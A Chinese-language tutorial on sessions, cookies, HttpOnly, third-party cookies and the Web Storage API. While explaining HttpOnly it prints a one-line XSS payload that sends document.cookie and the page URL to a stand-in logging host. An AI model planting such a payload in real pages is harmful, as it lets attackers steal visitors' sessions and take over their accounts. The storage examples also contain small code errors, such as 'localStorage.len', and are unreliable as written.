什么是Session?
在计算机科学领域来说,尤其是在网络领域,session是一种持久网络协议,在用户(或用户代理)端和服务器端之间创建关联,从而起到交换数据包的作用机制,session在网络协议(例如telnet或FTP)中是非常重要的部分。在不包含会话层(例如UDP)或者是无法长时间驻留会话层(例如HTTP)的传输协议中,session的维持需要依靠在传输数据中的高级别程序。
session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。当程序需要为某个客户端的请求创建一个session时,服务器首先检查这个客户端的请求里是否已包含了一个session标识(称为sessionid),如果已包含则说明以前已经为此客户端创建过session,服务器就按照sessionid把这个session检索出来使用(检索不到,会新建一个),如果客户端请求不包含sessionid,则为此客户端创建一个session并且生成一个与此session相关联的sessionid,sessionid的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个sessionid将被在本次响应中返回给客户端保存。
什么是Cookie?
Cookie是服务器在本地机器上存储的小段文本并随每一个请求发送至同一个服务器。IETF RFC 2965 HTTP State Management Mechanism是通用cookie规范。具体来说cookie机制采用的是在客户端保持状态的方案。它是在用户端的会话状态的存贮机制。cookie的作用就是为了解决HTTP协议无状态的缺陷所作的努力。网络服务器用HTTP头向客户端发送cookie,在客户终端,浏览器解析这些cookie并将它们保存为一个本地文件,它会自动将同一服务器的任何请求缚上这些cookie。
正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。纯粹的客户端脚本如JavaScript也可以生成cookie。而cookie的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。
cookie的内容主要包括:名字,值,过期时间,路径和域。路径与域一起构成cookie的作用范围。若不设置过期时间,则表示这个cookie的生命期为浏览器会话期间,关闭浏览器窗口,cookie就消失。这种生命期为浏览器会话期的cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里,当然这种行为并不是规范规定的。若设置了过期时间,浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie仍然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存里的cookie,不同的浏览器有不同的处理方式。
Session和Cookie的区别和联系
session机制采用的是一种在服务器端保持状态的解决方案。同时我们也看到,由于采用服务器端保持状态的方案在客户端也需要保存一个标识,所以session机制可能需要借助于cookie机制来达到保存标识的目的。而session提供了方便管理全局变量的方式。
session是针对每一个用户的,变量的值保存在服务器上,用一个sessionID来区分是哪个用户session变量,这个值是通过用户的浏览器在访问的时候返回给服务器,当客户禁用cookie时,这个值也可能设置为由get来返回给服务器。
由于http的无状态性,为了使某个域名下的所有网页能够共享某些数据,session和cookie出现了。客户端访问服务器的流程如下
- 首先,客户端会发送一个http请求到服务器端。
- 服务器端接受客户端请求后,建立一个session,并发送一个http响应到客户端,这个响应头,其中就包含Set-Cookie头部。该头部包含了sessionId。Set-Cookie格式如下:
Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]
- 在客户端发起的第二次请求,假如服务器给了set-Cookie,浏览器会自动在请求头中添加cookie
- 服务器接收请求,分解cookie,验证信息,核对成功后返回response给客户端
注意:
- cookie只是实现session的其中一种方案。虽然是最常用的,但并不是唯一的方法。禁用cookie后还有其他方法存储,比如放在url中
- 现在大多都是Session+Cookie,但是只用session不用cookie,或是只用cookie,不用session在理论上都可以保持会话状态。可是实际中因为多种原因,一般不会单独使用
- 用session只需要在客户端保存一个id,实际上大量数据都是保存在服务端。如果全部用cookie,数据量大的时候客户端是没有那么多空间的。
- 如果只用cookie不用session,那么账户信息全部保存在客户端,一旦被劫持,全部信息都会泄露。并且客户端数据量变大,网络传输的数据量也会变大
Cookie的安全防护HttpOnly
Http是无状态的协议,为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。
对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:
url = document.top.location.href; cookie = document.cookie; c = new Image(); c.src = "http://www.xss-log-server.com/c.php?c=" + cookie + "&u=" + url;
有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将 Cookie 和浏览器的 User-agent 绑定,一旦发现修改就认为 Cookie 失效。但是这种方法存在很大的弊端,因为当入侵者偷得 Cookie 的同时他肯定已经同时获得了 User-agent。还有另外一种比较严格的是将 Cookie 和 Remote-addr 相绑定(其实就是和 IP 绑定),但是这样有可能带来比较差的用户体验,比如家里的 ADSL 就是每次连接换一个 IP 地址。
那如何保障我们的敏感 Cookie 安全呢?通过上面的分析,一般的 Cookie 都是从 document 对象中获得的,我们只要让敏感 Cookie 在浏览器 document 中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁,如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only 的参数跟 domain 等其他参数一样,一旦 Http-Only 被设置,你在浏览器的 document 对象中就看不到 Cookie 了,而浏览器在浏览的时候不受任何影响,因为 Cookie 会被放在浏览器头中发送出去(包括 ajax 的时候),应用程序也一般不会在 js 里操作这些敏感 Cookie 的,对于一些敏感的 Cookie 我可以采用 Http-Only,对于一些需要在网站中用 js 操作的 cookie 我们就不予设置,这样就保障了 Cookie 信息的安全也保证了网站的基本功能。
下面的例子就是 Http-Only 的设置方法(注意,HttpOnly 属性对大小写不敏感):
Set-Cookie: <name>=<value>[; <name>=<value>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
目前主流的浏览器基本上已经都支持了 Http-Only 属性。
第一方 Cookie 和第三方 Cookie
Cookie 通常可以分为两类,第一方 Cookie 和第三方 Cookie,第一方 Cookie 和第三方 Cookie,都是网站在客户端上存放的一小块数据。他们都由某个域存放,只能被这个域访问。他们的区别其实并不是技术上的区别,而是使用方式上的区别。比如,访问 www.a.com 这个网站,这个网站设置了一个 Cookie,这个 Cookie 也只能被 www.a.com 这个域下的网页读取,这就是第一方 Cookie。如果还是访问 www.a.com 这个网站,网页里有用到 www.b.com 网站的一张图片,浏览器在 www.b.com 请求图片的时候,www.b.com 设置了一个 Cookie,那这个 Cookie 只能被 www.b.com 这个域访问,反而不能被 www.a.com 这个域访问,因为对我们来说,我们实际是在访问 www.a.com 这个网站被设置了一个 www.b.com 这个域下的 Cookie,所以叫第三方 Cookie。
第一方 Cookie 和第三方 Cookie 在数据统计时的应用:
- 第一方 Cookie:第一方 Cookie 的最大优势是接受率高。一般主流的浏览器的都会有隐私的设置,可以让用户设置是否接受 Cookie,接受哪些 Cookie。除了完全不接受 Cookie 这个设置以外,其他情况下,第一方 Cookie 都是会被用户接受的。所以,如果没有特殊要求,使用第一方 Cookie 会比第三方 Cookie,我们通过分析工具得到的数据会更准确。
- 第三方 Cookie:第三方 Cookie 的接受率不如第一方 Cookie(不过主流的浏览器默认的设置下也接受带 P3P 协议的第三方 Cookie,受率能达到 90%,甚至 95% 以上),但在某些特定情况下可以实现第一方 Cookie 无法实现的功能。比如,当我们有多个域名的网站需要跟踪,我们希望了解到用户点击某个广告到达域名 A 下的网页,然后可能浏览了不论那个域名下的页面,最后在域名 B 下的网页完成注册的情况。广告可以在域名 A 下的网页被跟踪到,而注册可以在域名 B 下的网页跟踪到。如果我们使用第一方 Cookie,会为域名 A 建立一个 Cookie,为域名 B 再建立一个 Cookie,他们可以关联各自域名下网页上的行为,但是无法关联起来。而使用第三方 Cookie,那么无论多少个域,都只有一个 Cookie,一个属于第三方域的 Cookie,网站下所有域都能共享这个 Cookie,那么所有的行为都能被关联起来分析。
对于通过脚本型的网站分析工具来获取数据:
- Cookie 是必须的,离开 Cookie 我们什么也分析不了
- 第一方 Cookie 接受率高,更准确,没有特殊需要就用他
- 第三方 Cookie 可以跨域跟踪,特别需求可以应用
Cookie 与特殊字符
这是一个发生在自己身上的故事,由于 Cookie 值中设置了一个特殊字符,导致部分手机由于兼容性问题在打开站点时产生 5xx 错误,经分析 Cookie 中的字符并不被部分 Android 手机机型支持。
为什么会出现这样的情况?我们先来看下关于使用 Cookie 的一些注意事项:
Cookie 的兼容性问题
Cookie 的格式有 2 个不同的版本,第一个版本,我们称为 Cookie Version 0,是最初由 Netscape 公司制定的,也被几乎所有的浏览器支持。而较新的版本,Cookie Version 1,则是根据 RFC2109 文档制定的。
同样的 Cookie 的内容的字符限制针对不同的 Cookie 版本也有不同。在 Cookie Version 0 中,某些特殊的字符,例如:空格,方括号,圆括号,等于号(=),逗号,双引号,斜杠,问号,@ 符号,冒号,分号都不能作为 Cookie 的内容。虽然在 Cookie Version 1 规定中放宽了限制,可以使用这些字符,但是考虑到新版本的 Cookie 规范目前仍然没有为所有的浏览器所支持,因而为保险起见,我们应该在 Cookie 的内容中尽量避免使用这些字符。
RFC2109 制定的规范:
4.1 Syntax: General The two state management headers, Set-Cookie and Cookie, have common syntactic properties involving attribute-value pairs. The following grammar uses the notation, and tokens DIGIT (decimal digits) and token (informally, a sequence of non-special, non-whitespace characters) from the HTTP/1.1 specification [RFC2068] to describe their syntax. av-pairs = av-pair *(";" av-pair) av-pair = attr ["=" value] ; optional value attr = token value = word word = token | quoted-string Attributes (names) (attr) are case-insensitive. Whitespace is permitted between tokens. Note that while the above syntax description shows value as optional, most attrs require them. NOTE: The syntax above allows whitespace between the attribute and the = sign.
RFC2068 制定的规范:
Many HTTP/1.1 header field values consist of words separated by LWS or special characters. These special characters MUST be in a quoted string to be used within a parameter value. token = 1*<any CHAR except CTLs or tspecials> tspecials = "(" | ")" | "<" | ">" | "@" | "," | ";" | ":" | "\" | <"> | "/" | "[" | "]" | "?" | "=" | "{" | "}" | SP | HT
忠告,Cookie 中永远不要存特殊字符,如果需要也要进行编码以后再使用。
LocalStorage 与 sessionStorage
html5中的WebStorage包括了两种存储方式:sessionStorage和localStorage。sessionStorage用于本地存储一个会话(session)中的数据,这些数据只有在同一个会话中的页面才能访问,会话结束后数据也随之销毁。localStorage用于存储一个域名下的需要永久存在本地的数据,这些数据可以被一直访问,直到这些数据被删除。因此sessionStorage和localStorage的主要区别在于他们存储数据的生命周期,sessionStorage存储的数据的生命周期是一个会话,而localStorage存储的数据的生命周期是永久,直到被主动删除,否则数据永远不会过期的。
WebStorage和cookie的异同点及优劣势
WebStorage和cookie有许多相同之处:
- 它们都可以用于存储用户数据
- 它们存储数据的格式都是字符串形式
- 它们存储的数据都有大小限制
WebStorage和cookie也有不同之处:
- 它们的生命周期不同。sessionStorage的生命周期是一个会话,localStorage的生命周期是永久,cookie的生命周期可以自定义,cookie可以设置过期时间,数据在过期时间之前可以访问。
- 它们的存储大小限制不同。大部分现代浏览器Storage的存储限制大小为5M,cookie的存储大小限制为4K。
- 浏览器支持不同,API调用方式不同。
相比cookie,WebStorage的优点主要表现在存储空间更大,可存储的内容更大。cookie每次都随请求数据发送到服务器端,WebStorage不会和请求数据一同发送到服务器端,占用带宽更少。缺点主要表现在,现在所有浏览器都支持cookie操作,而只有现在浏览器才支持WebStorage操作,如果需要兼容老旧浏览器,就不能使用WebStorage。
WebStorageAPI
localStorage和sessionStorage有着统一的API接口,这为二者的操作提供了极大的便利。下面以localStorage为例来介绍一下API接口使用方法,同样这些接口也适用于sessionStorage。
添加键值对
localStorage.setItem(key,value) setItem用于把值value存储到键key上,除了使用setItem,还可以使用localStorage.key=value或者localStorage[‘key’]=value这两种形式。另外需要注意的是,key和value值必须是字符串形式的,如果不是字符串,会调用它们相应的toString()方法来转换成字符串再存储。当我们要存储对象是,应先转换成我们可识别的字符串格式(比如JSON格式)再进行存储。
//把一个用户名(lilei)存储到name的键上 localStorage.setItem('name','lilei'); //localStorage.name='lilei'; //localStorage['name']='lilei'; //把一个用户存储到user的键上 localStorage.setItem('user',JSON.stringify(id:1,name:'lilei'));
获取键值
localStorage.getItem(key) getItem用于获取键key对应的数据,和setItem一样,getItem也有两种等效形式value=localStorage.key和value=localStorage[‘key’]。获取到的value值是字符串类型,如果需要其他类型,要做手动的类型转换。
//获取存储到name的键上的值 var name=localStorage.getItem('name'); //var name=localStorage.name; //var name=localStorage['name']; //获取存储到user的键上的值 var user=JSON.parse(localStorage.getItem('user'));
删除键值对
localStorage.removeItem(key) removeItem用于删除指定键的项,localStorage没有数据过期的概念,所有数据如果失效了,需要开发者手动删除。
var name=localStorage.getItem('name');//'lilei' //删除存储到name的键上的值 localStorage.removeItem('name'); name=localStorage.getItem('name');//null
清除所有键值对
localStorage.clear() clear用于删除所有存储的内容,它和removeItem不同的地方是removeItem删除的是某一项,而clear是删除所有。
//清除localStorage localStorage.clear(); var len=localStorage.length;//0
获取localStorage的属性名称(键名称)
localStorage.key(index) key方法用于获取指定索引的键名称。需要注意的是赋值早的键值对应的索引值大,赋值完的键值对应的索引小,key方法可用于遍历localStorage存储的键值。
localStorage.setItem('name','lilei'); var key=localStorage.key(0);//'name' localStorage.setItem('age',10); key=localStorage.key(0);//'age' key=localStorage.key(1);//'name'
获取localStorage中保存的键值对的数量
localStorage.length length属性用于获取localStorage中键值对的数量。
localStorage.setItem('name','lilei'); var len=localStorage.len;//1 localStorage.setItem('age',10); len=localStorage.len;//2
WebStorage事件
storage事件当存储的数据发生变化时,会触发storage事件。但要注意的是它不同于click类的事件会事件捕获和冒泡,storage事件更像是一个通知,不可取消。触发这个事件会调用同域下其他窗口的storage事件,不过触发storage的窗口(即当前窗口)不触发这个事件。storage的event对象的常用属性如下:
- oldValue:更新前的值。如果该键为新增加,则这个属性为null。
- newValue:更新后的值。如果该键被删除,则这个属性为null。
- url:原始触发storage事件的那个网页的网址。
- key:存储store的key名
function storageChanged(){ console.log(arguments); } window.addEventListener('storage',storageChanged,false);
WebStorage应用场景
因为考虑到每个HTTP请求都会带着Cookie的信息,所以Cookie当然是能精简就精简,比较常用的一个应用场景就是判断用户是否登录。针对登录过的用户,服务器端会在他登录时往Cookie中插入一段加密过的唯一辨识单一用户的辨识码,下次只要读取这个值就可以判断当前用户是否登录啦。
有了对上面这些差别的直观理解,我们就可以讨论三者的应用场景了。
由于WebStorage的特点,它主要被用于储存一些不经常改动的,不敏感的数据,比如全国省市区县信息。还可以存储一些不太重要的跟用户相关的数据,比如说用户的头像地址、主题颜色、购物车数据等,这些信息可以先存储在用户本地一份,便于快速呈现,等真正从服务器端读取成功后再更改头像地址,主题颜色。另外,基于storage事件特点,WebStorage还可以用于同域不同窗口间的通信。
参考链接: